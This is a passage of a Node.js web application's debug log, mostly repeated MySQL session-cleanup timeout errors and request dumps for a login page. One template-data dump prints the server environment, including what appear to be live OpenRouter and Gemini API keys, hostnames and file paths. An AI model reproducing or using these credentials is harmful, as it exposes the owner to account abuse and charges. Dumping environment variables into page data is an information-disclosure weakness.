    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-29T18:15:55.968Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '72.61.156.129',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '72.61.156.129',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-28 19:29:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-28 19:29:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-28 21:25:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-28 21:25:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-28 21:57:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-28 21:57:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-28 22:01:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-28 22:01:20' as DATETIME)"
}
2026-05-29T03:23:21.139Z server-connect:router Serving templateView /
2026-05-29T03:23:21.141Z server-connect:app Executing action step identify
2026-05-29T03:23:21.141Z server-connect:app options: { provider: 'security' }
2026-05-29T03:23:21.141Z server-connect:auth No login cookie found
2026-05-29T03:23:21.141Z server-connect:output identity: false
2026-05-29T03:23:21.141Z server-connect:app Executing action step restrict
2026-05-29T03:23:21.141Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-29T03:23:21.142Z server-connect:output restrict: undefined
2026-05-29T03:23:21.258Z server-connect:router Serving templateView /login
2026-05-29T03:23:21.258Z server-connect:app Executing action step identify
2026-05-29T03:23:21.258Z server-connect:app options: { provider: 'security' }
2026-05-29T03:23:21.258Z server-connect:auth No login cookie found
2026-05-29T03:23:21.258Z server-connect:output identity: false
2026-05-29T03:23:21.258Z server-connect:router Render template layouts/authentication
2026-05-29T03:23:21.259Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    accept: '*/*',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    host: 'ems.sanjaychaurasia.xyz',
    'x-forwarded-for': '104.218.52.177',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-30T03:23:21.258Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.218.52.177',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT: '*/*',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-FOR': '104.218.52.177',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-29 04:36:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-29 04:36:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-29 05:52:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-29 05:52:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-29 07:05:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-29 07:05:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-29 07:31:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-29 07:31:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-29 07:59:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-29 07:59:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-29 09:34:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-29 09:34:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-29 10:14:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-29 10:14:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-29 13:09:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-29 13:09:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-29 16:12:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-29 16:12:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-29 22:56:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-29 22:56:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 00:14:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 00:14:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 04:07:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-30 04:07:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-30 04:14:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
